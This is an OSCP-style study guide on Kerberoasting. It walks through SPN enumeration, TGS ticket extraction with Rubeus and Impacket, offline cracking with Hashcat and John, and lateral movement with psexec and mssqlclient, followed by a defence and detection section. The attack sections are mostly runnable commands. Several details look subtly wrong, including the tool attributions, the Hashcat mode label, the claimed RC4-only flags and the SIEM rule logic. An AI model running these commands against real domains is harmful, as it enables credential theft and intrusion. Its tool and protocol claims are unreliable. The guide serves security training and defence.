Kerberoasting
Module 12 — Password Attacks | Difficulty: Core | Tags: kerberoasting, kerberos, spn, tgs-ticket, active-directory
Kerberoasting is one of the most reliable and exam-relevant Active Directory attack techniques. It requires only a standard domain user account — no admin privileges, no special permissions. Yet it can yield plaintext passwords for service accounts, enabling lateral movement and privilege escalation. This guide covers every aspect of the attack, from Kerberos protocol fundamentals to offline hash cracking and defense strategies.
Table of Contents
- Concept — How Kerberoasting Works
- Prerequisites
- Attack Workflow
- Tools and Commands
- Hashcat Modes for Kerberoasting
- Defense and Mitigation
- OSCP Exam Tips
1. Concept — How Kerberoasting Works
1.1 What is Kerberoasting?
Kerberoasting is an attack technique that targets service account passwords in Active Directory by requesting and cracking Kerberos TGS (Ticket Granting Service) tickets offline.
The attack exploits a fundamental design feature of the Kerberos protocol: any authenticated domain user can request a service ticket for any registered SPN. The resulting ticket is encrypted with the service account’s password hash, which the attacker can then crack offline using tools like Hashcat or John the Ripper.
1.2 Kerberos Protocol Fundamentals
To understand Kerberoasting, you must first understand how Kerberos authentication works. Kerberos is a ticket-based authentication protocol developed by MIT, and it is the default authentication mechanism for Windows Active Directory domains.
The Kerberos Authentication Flow
The complete Kerberos authentication involves four key messages between three parties:
| Party | Role |
|---|---|
| Client | The user or service requesting access |
| KDC (Key Distribution Center) | Runs on the Domain Controller; consists of AS and TGS |
| Service | The target service the client wants to access |
The protocol flow proceeds in two phases:
Phase 1: Obtain TGT (Ticket Granting Ticket)
┌────────┐ AS-REQ ┌──────────┐
│ Client │ ──────────────> │ AS │
│ │ <────────────── │ (on DC) │
└────────┘ AS-REP (TGT) └──────────┘
Phase 2: Obtain Service Ticket (TGS)
┌────────┐ TGS-REQ ┌──────────┐
│ Client │ ──────────────> │ TGS │
│ (TGT) │ <────────────── │ (on DC) │
└────────┘ TGS-REP (Svc) └──────────┘
│
│ Service Ticket
│ (encrypted with
│ service account key)
▼
┌──────────┐
│ Service │
└──────────┘
Step-by-step breakdown:
-
AS-REQ (Authentication Service Request): The client sends its username to the Authentication Service (AS) on the KDC, requesting a TGT. The client also proves its identity by encrypting a timestamp with its password-derived key (pre-authentication).
-
AS-REP (Authentication Service Response): The AS verifies the client’s identity and returns a TGT. The TGT is encrypted with the KDC’s own key (specifically, the
krbtgtaccount’s password hash). The client cannot read the TGT — it can only forward it. -
TGS-REQ (Ticket Granting Service Request): When the client needs to access a specific service, it sends a TGS-REQ to the TGS component of the KDC. This request includes:
- The TGT (encrypted with KDC key — the TGS can decrypt it)
- A service name (SPN) — identifying which service the client wants to access
- An authenticator (encrypted with the client’s session key from the TGT)
-
TGS-REP (Ticket Granting Service Response): The TGS validates the TGT and returns a service ticket. This is the critical part for Kerberoasting:
- The service ticket contains a session key for client-service communication
- This session key is encrypted with the service account’s password hash (specifically, the NTLM hash of the service account)
- The client receives this encrypted session key but cannot decrypt it — it forwards the entire ticket to the target service
- The target service can decrypt it because it knows its own password
Why This Enables Kerberoasting
The TGS-REP contains a session key encrypted with the service account’s NTLM hash. Here is why this is exploitable:
- Any authenticated domain user can request a TGS ticket for any SPN — this is by design, not a misconfiguration
- The TGS-REP is returned to the requesting client in full — including the encrypted session key
- The encryption algorithm used for this session key is often RC4-HMAC, which is computationally weak and fast to crack on modern GPUs
- Once the attacker has the TGS-REP, they can crack it offline — no further interaction with the domain is needed
- There are no account lockout consequences for requesting service tickets — you can request thousands without triggering alerts
1.3 SPN (Service Principal Name)
An SPN is a unique identifier that Kerberos uses to associate a service instance with a service logon account. It is the “address” that Kerberos uses to find the correct service account for a given service.
SPN Format:
ServiceClass[/HostName][/:Port][/ServiceName]
Common SPN examples:
| SPN | Service | Description |
|---|---|---|
MSSQLSvc/sqlserver.corp.local:1433 |
SQL Server | SQL instance on port 1433 |
HTTP/webserver.corp.local |
IIS/Web App | Web application |
cifs/fileserver.corp.local |
File Share | SMB file sharing service |
LDAP/dc.corp.local |
Domain Controller | Active Directory LDAP service |
HOST/dc.corp.local |
Domain Controller | Kerberos host service |
POP3/mail.corp.local:110 |
Mail Server | POP3 email service |
IMAP/mail.corp.local:143 |
Mail Server | IMAP email service |
SMTP/mail.corp.local:25 |
Mail Server | SMTP email service |
Key properties of SPNs:
- SPNs are registered against Active Directory accounts (usually service accounts, but sometimes user accounts)
- Any domain user with write access to an account object can add or modify SPNs on that object
- By default, any authenticated user can query for accounts that have SPNs registered
- A single account can have multiple SPNs registered
- SPNs can be registered on user accounts, computer accounts, or service accounts
1.4 The RC4-HMAC Weakness
The session key in the TGS-REP is encrypted using one of several encryption types (etypes). The most common and most vulnerable is RC4-HMAC (etype 23):
| Encryption Type | etype | Algorithm | Cracking Speed (GPU) | Security Status |
|---|---|---|---|---|
| RC4-HMAC | 23 | RC4 stream cipher | ~100+ million guesses/sec | Weak — primary Kerberoasting target |
| AES128-CTS-HMAC-SHA1-96 | 17 | AES-128 | ~1-5 million guesses/sec | Moderate |
| AES256-CTS-HMAC-SHA1-96 | 18 | AES-256 | ~500K-2 million guesses/sec | Stronger, but still crackable |
Why RC4-HMAC is weak:
- RC4 is a stream cipher designed in 1987 — it is computationally simple
- Modern GPUs can test hundreds of millions of RC4-HMAC password guesses per second
- A service account with a password like
Summer2024!orP@ssw0rd1can be cracked in seconds to minutes - Even moderately complex passwords (8-12 characters with mixed case) may crack within hours
- The Kerberos protocol allows the client to request a specific encryption type — attackers can explicitly request RC4
The encryption type negotiation:
When the client sends a TGS-REQ, it includes a list of supported encryption types (pac-type field). By default, Windows clients request multiple etypes including RC4. The KDC will use the strongest etype both sides support. However, an attacker can use tools like Rubeus to specifically request RC4-HMAC encryption, ensuring the returned ticket uses the weakest possible encryption.
2. Prerequisites
Kerberoasting has minimal prerequisites, which is precisely what makes it so dangerous and exam-relevant:
| Prerequisite | Required? | Details |
|---|---|---|
| Domain user account | Yes | Any valid domain account — even the lowest-privileged user |
| Domain Controller access | Yes | Network connectivity to a DC on ports 88 (Kerberos) and 389/636 (LDAP) |
| Admin privileges | No | Not required — any domain user works |
| SPNs registered | Yes | At least one service account must have an SPN registered |
| Weak service password | Yes (for success) | The service account password must be crackable |
| Local admin on target | No | Not required — the attack is entirely remote |
What you need in practice:
- A domain username and password (or NTLM hash for pass-the-hash)
- Network access to the domain (same subnet or routed access to DC)
- A tool for enumeration (PowerShell, Rubeus, Impacket, or ADFind)
- A tool for ticket extraction (Rubeus or Impacket)
- A cracking machine with Hashcat (GPU preferred) or John the Ripper
3. Attack Workflow
The Kerberoasting attack follows a well-defined pipeline from initial reconnaissance to lateral movement:
┌─────────────────────────────────────────────────────────────────┐
│ KERBEROASTING ATTACK PIPELINE │
├──────────┬──────────┬──────────┬──────────┬──────────┬──────────┤
│ Phase 1 │ Phase 2 │ Phase 3 │ Phase 4 │ Phase 5 │ Phase 6 │
│ Enumerate│ Identify │ Request │ Extract │ Crack │ Leverage │
│ SPNs │ Targets │ Tickets │ Hashes │ Offline │ Access │
└──────────┴──────────┴──────────┴──────────┴──────────┴──────────┘
Phase 1: Enumerate SPNs
Identify all accounts in the domain that have SPNs registered. This reveals potential targets.
Phase 2: Identify Targets
Filter the enumerated SPNs to find the most promising targets:
- Service accounts (not built-in system accounts)
- Accounts with RC4-HMAC support
- Accounts that are not managed service accounts (gMSA)
Phase 3: Request TGS Tickets
Request TGS tickets for each target SPN. This triggers the Kerberos protocol flow and returns TGS-REP responses containing the encrypted session keys.
Phase 4: Extract Hashes
Export the TGS-REP data in a format suitable for offline cracking (Hashcat or John the Ripper format).
Phase 5: Offline Hash Cracking
Use Hashcat or John the Ripper to crack the extracted hashes against wordlists with rules.
Phase 6: Lateral Movement
Use the recovered plaintext password to authenticate as the service account and access the target service or move laterally through the network.
Detailed Workflow Diagram
flowchart TD
A[Authenticated Domain User] --> B[Enumerate SPNs]
B --> C{SPNs Found?}
C -->|No| Z[Attack Not Possible]
C -->|Yes| D[Identify Target SPNs]
D --> E[Request TGS Tickets]
E --> F[Extract TGS-REP Tickets]
F --> G[Export to Hashcat/John Format]
G --> H[Offline Hash Cracking]
H --> I{Cracked?}
I -->|Yes| J[Service Account Password]
I -->|No| K[Try Different Wordlist/Rules]
K --> H
J --> L[Access Service / Lateral Movement]
L --> M[Privilege Escalation]
4. Tools and Commands
4.1 SPN Enumeration
Method 1: PowerShell (Get-ADUser)
Requires the ActiveDirectory PowerShell module (available on domain-joined machines with RSAT installed).
# Enumerate all users with SPNs
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# Display in a readable table
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, Name, Description |
Select-Object Name, ServicePrincipalName, Description |
Format-Table -AutoSize
# Enumerate all service accounts with SPNs
Get-ADServiceAccount -Filter * -Properties ServicePrincipalName |
Select-Object DNSHostName, ServicePrincipalName, PrincipalName
# Export to file for analysis
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, Name |
Export-Csv -Path .\spn_users.csv -NoTypeInformation
Output example:
Name ServicePrincipalName
---- ----------------------
sqlservice MSSQLSvc/sqlserver.corp.local:1433
webapp HTTP/webapp.corp.local
svc_backup cifs/backup.corp.local
Method 2: ADFind
ADFind is a lightweight LDAP query tool from Joyent, ideal for quick enumeration from any Windows machine.
# Find all accounts with SPNs
adfind -sc spn
# Find all accounts with SPNs, show specific attributes
adfind -sc spn -f "(objectclass=*)" -b "dc=corp,dc=local" dn objectclass samaccountname serviceprincipalname
# Filter to only user accounts (not computers)
adfind -sc spn -f "(&(samAccountType=805306368)(servicePrincipalName=*))"
Output example:
dn: CN=sqlservice,CN=Users,DC=corp,DC=local
samaccountname: sqlservice
serviceprincipalname: MSSQLSvc/sqlserver.corp.local:1433
Method 3: Impacket (getUserSPNs.py)
Impacket’s getUserSPNs.py is the preferred tool from a Linux/Kali attack box. It connects to the domain over the network — no domain join required.
# Enumerate SPNs (basic)
getUserSPNs.py -dc-ip 192.168.1.10 CORP/user:password
# Enumerate with output to file
getUserSPNs.py -dc-ip 192.168.1.10 -outputfile:spns.txt CORP/user:password
# Request TGS tickets and output in Hashcat format
getUserSPNs.py -dc-ip 192.168.1.10 -request -outputfile:hashes.txt CORP/user:password
# Request TGS tickets in John the Ripper format
getUserSPNs.py -dc-ip 192.168.1.10 -request -format john -outputfile:hashes_john.txt CORP/user:password
# Use NTLM hash instead of password (pass-the-hash)
getUserSPNs.py -dc-ip 192.168.1.10 -hashes aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef CORP/user
# Request only RC4-HMAC encrypted tickets
getUserSPNs.py -dc-ip 192.168.1.10 -request -ts -no-pass -outputfile:hashes.txt CORP/user
Method 4: Rubeus (SPN enumeration)
Rubeus is a .NET tool by the Harmony Security team at SpecterOps, purpose-built for Kerberos attacks. It is the most feature-rich option.
# Enumerate all SPNs (no wrapping)
Rubeus.exe spn /nowrap
# Enumerate SPNs with output to file
Rubeus.exe spn /nowrap /outfile:spns.txt
# Show verbose SPN information
Rubeus.exe spn /verbose /nowrap
4.2 Ticket Extraction
Rubeus Kerberoasting (Primary Method)
Rubeus is the gold standard for Kerberoasting. It handles the entire process — enumeration, ticket request, and hash extraction — in a single command.
# Basic Kerberoast — all SPNs, output Hashcat format
Rubeus.exe kerberoast /outfile:hashes.txt
# Kerberoast with specific SPN target
Rubeus.exe kerberoast /spn:MSSQLSvc/sqlserver.corp.local:1433 /outfile:sql_hashes.txt
# Kerberoast with specific user account
Rubeus.exe kerberoast /user:sqlservice /outfile:sql_hashes.txt
# Force RC4-HMAC encryption (etype 23) — most crackable
Rubeus.exe kerberoast /rc4opsec /outfile:rc4_hashes.txt
# Request specific encryption type
Rubeus.exe kerberoast /enctype:aes256-hmac-sha1 /outfile:aes256_hashes.txt
Rubeus.exe kerberoast /enctype:aes128-hmac-sha1 /outfile:aes128_hashes.txt
# Output in John the Ripper format
Rubeus.exe kerberoast /format:john /outfile:hashes_john.txt
# Kerberoast with delayed request (avoid detection spikes)
Rubeus.exe kerberoast /delay:5 /outfile:hashes.txt
# Use alternate credentials
Rubeus.exe kerberoast /user:attacker /domain:CORP.local /password:AttackerPass1 /outfile:hashes.txt
# Kerberoast with no save (display only, no file output)
Rubeus.exe kerberoast /nods
# Kerberoast targeting only user accounts (exclude computers)
Rubeus.exe kerberoast /user /outfile:user_hashes.txt
# Kerberoast and automatically request RC4 for all targets
Rubeus.exe kerberoast /simple /outfile:hashes.txt
Rubeus output example (Hashcat format):
$krb5tgs$23$5$sqlservice$CORP.LOCAL$MSSQLSvc/sqlserver.corp.local:1433$23012026101500$...
Breaking down the hash format:
$krb5tgs$23$5$sqlservice$CORP.LOCAL$MSSQLSvc/sqlserver.corp.local:1433$23012026101500$...
│ │ │ │ │ │ │ │
│ │ │ │ │ │ │ │ Encrypted data
│ │ │ │ │ │ │ Timestamp
│ │ │ │ │ │ SPN
│ │ │ │ │ Domain
│ │ │ │ Username │
│ │ │ Realm
│ │ etype (23=RC4)
│ Version ($krb5tgs$ = Kerberos TGS)
Impacket Kerberoasting
# Request and export all TGS tickets in Hashcat format
getUserSPNs.py -dc-ip 192.168.1.10 -request -outputfile:hashes.txt CORP/user:password
# Request with timestamp (for opsec)
getUserSPNs.py -dc-ip 192.168.1.10 -request -ts -outputfile:hashes.txt CORP/user:password
# Request using pass-the-hash
getUserSPNs.py -dc-ip 192.168.1.10 -request -no-pass -hashes :5835048ce94ad0564e29a924a03510ef -outputfile:hashes.txt CORP/user
4.3 Hash Cracking
Hashcat (Primary Cracking Tool)
Hashcat is the fastest option for Kerberoasting, especially with GPU acceleration.
# Crack RC4-HMAC Kerberos TGS-REP hashes (most common)
hashcat -m 13100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
# Crack with rules (dramatically increases success rate)
hashcat -m 13100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Crack with multiple rule files
hashcat -m 13100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -r /usr/share/hashcat/rules/one337.rule
# Crack AES128 Kerberos TGS-REP hashes
hashcat -m 18200 -a 0 aes128_hashes.txt /usr/share/wordlists/rockyou.txt
# Crack AES256 Kerberos TGS-REP hashes
hashcat -m 19600 -a 0 aes256_hashes.txt /usr/share/wordlists/rockyou.txt
# Aggressive cracking with ultra work profile
hashcat -m 13100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -w 3 --force
# Show already-cracked passwords
hashcat -m 13100 -a 0 --show hashes.txt /usr/share/wordlists/rockyou.txt
# Remove cracked hashes from input file
hashcat -m 13100 -a 0 --remove hashes.txt /usr/share/wordlists/rockyou.txt
# Resume a previous session
hashcat -m 13100 -a 0 --restore
# Benchmark cracking speed
hashcat -m 13100 -b
# Mask attack (if you know the password pattern)
hashcat -m 13100 -a 3 hashes.txt ?u?l?l?l?d?d?d?s
Expected Hashcat output during cracking:
Session..........: hashcat
Status...........: Running
Hash.Mode........: 13100 (Kerberos 5, etype 23, AS-REP/TS (pre-auth))
Hash.Target......: $krb5tgs$23$5$sqlservice$CORP.LOCAL$...
Time.Started.....: Mon Aug 31 10:15:23 2026 (12 mins)
Speed.#1.........: 125.33 MH/s (0.82ms) @ Accel:1024 Loop:128
Recovered........: 1/1 (100.00%) Digests
Progress.........: 157286400/157286400
John the Ripper
John is a CPU-based alternative, useful when GPU resources are unavailable.
# Crack Kerberos TGS-REP hashes
john --format=krb5tgs hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Crack with built-in rules
john --format=krb5tgs hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules
# Show cracked passwords
john --format=krb5tgs --show hashes.txt
# Benchmark
john --format=krb5tgs --test
4.4 Post-Cracking — Lateral Movement
Once you have the service account password, use it to access the target service or move laterally:
# SMB access to the service
smbclient //sqlserver.corp.local/C$ -U CORP\\sqlservice%CrackedPassword1
# PowerShell remoting
Enter-PSSession -ComputerName sqlserver.corp.local -Credential CORP\\sqlservice
# Impacket psexec
psexec.py CORP/sqlservice:CrackedPassword1@sqlserver.corp.local
# RDP access
# Use the credentials in Remote Desktop Connection
# MSSQL access
mssqlclient.py CORP/sqlservice:CrackedPassword1@sqlserver.corp.local
5. Hashcat Modes for Kerberoasting
Understanding the correct Hashcat mode is critical — using the wrong mode will result in failed cracking attempts.
5.1 Mode Reference Table
| Hashcat Mode | Encryption Type | etype | Kerberos Component | Description | Relative Speed |
|---|---|---|---|---|---|
| 13100 | RC4-HMAC | 23 | TGS-REP | Kerberos 5 TGS-REP RC4-HMAC | Fastest (~100+ MH/s) |
| 18200 | AES128-CTS-HMAC-SHA1-96 | 17 | TGS-REP | Kerberos 5 TGS-REP AES-128 | Slow (~1-5 MH/s) |
| 19600 | AES256-CTS-HMAC-SHA1-96 | 18 | TGS-REP | Kerberos 5 TGS-REP AES-256 | Slowest (~0.5-2 MH/s) |
5.2 Identifying the Hash Type
You can identify the encryption type from the hash string itself:
$krb5tgs$23$... → Mode 13100 (RC4-HMAC) ← Most common, fastest to crack
$krb5tgs$17$... → Mode 18200 (AES128)
$krb5tgs$18$... → Mode 19600 (AES256)
The number after $krb5tgs$ is the etype (encryption type):
23= RC4-HMAC → use mode1310017= AES128 → use mode1820018= AES256 → use mode19600
5.3 Cracking Strategy by Encryption Type
For RC4-HMAC (mode 13100) — Most Common:
# Step 1: Dictionary attack
hashcat -m 13100 -a 0 hashes.txt rockyou.txt
# Step 2: Dictionary + rules (if Step 1 fails)
hashcat -m 13100 -a 0 hashes.txt rockyou.txt -r rules/best64.rule
# Step 3: Mask attack (if you know the pattern)
hashcat -m 13100 -a 3 hashes.txt ?u?l?l?l?d?d?d?s
For AES128 (mode 18200):
# AES128 is much slower — use targeted wordlists
hashcat -m 18200 -a 0 aes128_hashes.txt rockyou.txt -r rules/best64.rule -w 3
For AES256 (mode 19600):
# AES256 is the slowest — prioritize likely passwords
hashcat -m 19600 -a 0 aes256_hashes.txt custom_wordlist.txt -w 3
5.4 Performance Comparison
| Encryption | Hashcat Mode | GPU Speed (RTX 3080) | Time to crack “Summer2024!” |
|---|---|---|---|
| RC4-HMAC | 13100 | ~150 MH/s | < 1 second |
| AES128 | 18200 | ~3 MH/s | ~5 minutes |
| AES256 | 19600 | ~1.5 MH/s | ~10 minutes |
6. Defense and Mitigation
6.1 Defense Strategies
| Defense | Priority | Description | Implementation |
|---|---|---|---|
| Strong service account passwords | Critical | Use 25+ character random passwords for all service accounts | Set-ADAccountPassword with generated random strings |
| Group Managed Service Accounts (gMSA) | Critical | Auto-managed accounts with random 120-character passwords | New-ADServiceAccount — passwords managed by AD, never known by humans |
| AES encryption enforcement | High | Disable RC4-HMAC (etype 23) in Kerberos policy | Registry: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters\SupportedEncryptionTypes |
| Monitor TGS ticket requests | High | Alert on unusual volume of TGS requests from single accounts | SIEM rule on Event ID 4769 with frequency threshold |
| SPN auditing | Medium | Regularly audit SPN assignments and remove unnecessary SPNs | PowerShell: Get-ADUser -Filter {ServicePrincipalName -ne "$null"} |
| Least privilege for service accounts | Medium | Ensure service accounts have minimum necessary permissions | Review group memberships, remove from Domain Admins |
| Network segmentation | Medium | Limit which systems can communicate with the DC on port 88 | Firewall rules restricting Kerberos traffic |
6.2 Implementing gMSA (Best Defense)
Group Managed Service Accounts are the single most effective defense against Kerberoasting:
# Create a Key Distribution Service (KDS) root key (one-time, on DC)
Add-KdsRootKey -EffectiveTime ((Get-Date).AddHours(-10))
# Create a gMSA
New-ADServiceAccount -Name "gMSA_SQL" -DNSHostName "sqlserver.corp.local" `
-PrincipalsAllowedToRetrieveManagedPassword "SQLAdmins" `
-ServicePrincipalNames "MSSQLSvc/sqlserver.corp.local:1433"
# gMSA passwords are:
# - 120 characters long
# - Randomly generated
# - Automatically rotated every 30 days
# - Never stored in plaintext anywhere
# - Impossible to crack via Kerberoasting
6.3 Disabling RC4-HMAC
# On each domain-joined machine, set the registry value:
# Path: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
# Name: SupportedEncryptionTypes
# Type: REG_DWORD
# Value: 0x00000022 (decimal 34) — AES128 and AES256 only
# Or via PowerShell:
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters" `
-Name "SupportedEncryptionTypes" -Value 34 -PropertyType DWORD -Force
6.4 Monitoring and Detection
Key Event IDs to monitor:
| Event ID | Description | Detection Value |
|---|---|---|
| 4769 | Kerberos TGS ticket requested | High frequency from single source = Kerberoasting |
| 4768 | Kerberos TGT requested | Correlate with 4769 for full picture |
| 4771 | Kerberos pre-authentication failed | May indicate other Kerberos attacks |
SIEM correlation rule example:
IF EventID = 4769
AND TargetName ends with "$" OR TargetName contains "svc_"
AND count(EventID=4769, source=user) > 10 within 5 minutes
THEN Alert: "Possible Kerberoasting attack detected"
7. OSCP Exam Tips
7.1 What to Expect on the Exam
Kerberoasting is a core technique that frequently appears in OSCP exam machines, particularly on Windows Active Directory targets. Here is what you need to know:
| Scenario | Likelihood | Approach |
|---|---|---|
| Windows box with domain access | Very High | Enumerate SPNs → Kerberoast → Crack → Lateral movement |
| Linux box with domain tools | High | Use Impacket from Kali → same workflow |
| Service account with weak password | Very High | The exam will typically have at least one crackable SPN |
| gMSA-protected accounts | Low | Exam machines rarely use gMSA — focus on RC4 targets |
7.2 Essential Commands to Memorize
# From Kali (Impacket) — most common exam scenario
getUserSPNs.py -dc-ip <DC_IP> -request -outputfile:hashes.txt <DOMAIN>/<user>:<password>
# Crack the hashes
hashcat -m 13100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
# If that fails, try with rules
hashcat -m 13100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# From Windows (Rubeus) — if you have a Windows foothold
Rubeus.exe kerberoast /outfile:hashes.txt
# Use cracked password for lateral movement
psexec.py <DOMAIN>/<service_account>:<cracked_password>@<target_ip>
7.3 Common Exam Pitfalls
-
Wrong Hashcat mode: Always check the etype in the hash. If it says
$krb5tgs$23$, use mode13100. If it says$krb5tgs$17$, use mode18200. Using the wrong mode wastes time. -
Forgetting the DC IP: The
-dc-ipparameter in Impacket is often required when DNS resolution is not properly configured. Always include it. -
Not trying rules: If the initial dictionary attack fails, immediately try with
best64.rule. Many exam passwords are simple mutations of dictionary words. -
Ignoring the output: Read the hash output carefully. The username and SPN in the hash tell you which account you are targeting — use this information for your writeup and for planning lateral movement.
-
Not checking for multiple SPNs: A single account may have multiple SPNs. Kerberoasting one may give you access to multiple services.
7.4 Writeup Documentation
When documenting Kerberoasting in your exam writeup:
## Kerberoasting
### Enumeration
- Enumerated SPNs using getUserSPNs.py
- Found service account 'sqlservice' with SPN 'MSSQLSvc/sqlserver.corp.local:1433'
### Ticket Extraction
- Requested TGS ticket for sqlservice account
- Extracted hash in Kerberos 5 TGS-REP format (RC4-HMAC, etype 23)
### Hash Cracking
- Cracked using Hashcat mode 13100 with rockyou.txt
- Password recovered: [REDACTED]
### Lateral Movement
- Used recovered credentials to access SQL Server
- Gained access to [next system/privilege]
7.5 Quick Decision Flowchart
flowchart TD
A[Have domain credentials?] -->|Yes| B[Enumerate SPNs]
A -->|No| Z[Find credentials first]
B --> C{SPNs found?}
C -->|No| Z
C -->|Yes| D[Request TGS tickets]
D --> E[Extract hashes]
E --> F{Check etype}
F -->|23 (RC4)| G[Hashcat mode 13100]
F -->|17 (AES128)| H[Hashcat mode 18200]
F -->|18 (AES256)| I[Hashcat mode 19600]
G --> J{Cracked?}
H --> J
I --> J
J -->|Yes| K[Use password for lateral movement]
J -->|No| L[Try with rules]
L --> J
Summary
Kerberoasting is a powerful, low-privilege attack that exploits the Kerberos protocol’s design to extract and crack service account passwords. The key points to remember:
- Any authenticated domain user can request TGS tickets for any SPN — this is by design, not a vulnerability
- RC4-HMAC (etype 23) is the primary target — it is fast to crack on GPU (Hashcat mode 13100)
- Rubeus is the best tool from Windows; Impacket’s getUserSPNs.py is best from Linux
- Hashcat mode 13100 for RC4, 18200 for AES128, 19600 for AES256
- gMSA is the best defense — it makes Kerberoasting impossible by using uncrackable 120-character random passwords
- On the OSCP exam, always check for SPNs when you have domain credentials — it is often the path to lateral movement
This study guide covers the Kerberoasting techniques most relevant to the OSCP examination. Practice the full pipeline — enumeration, extraction, cracking, and lateral movement — in a lab environment to build confidence for the exam.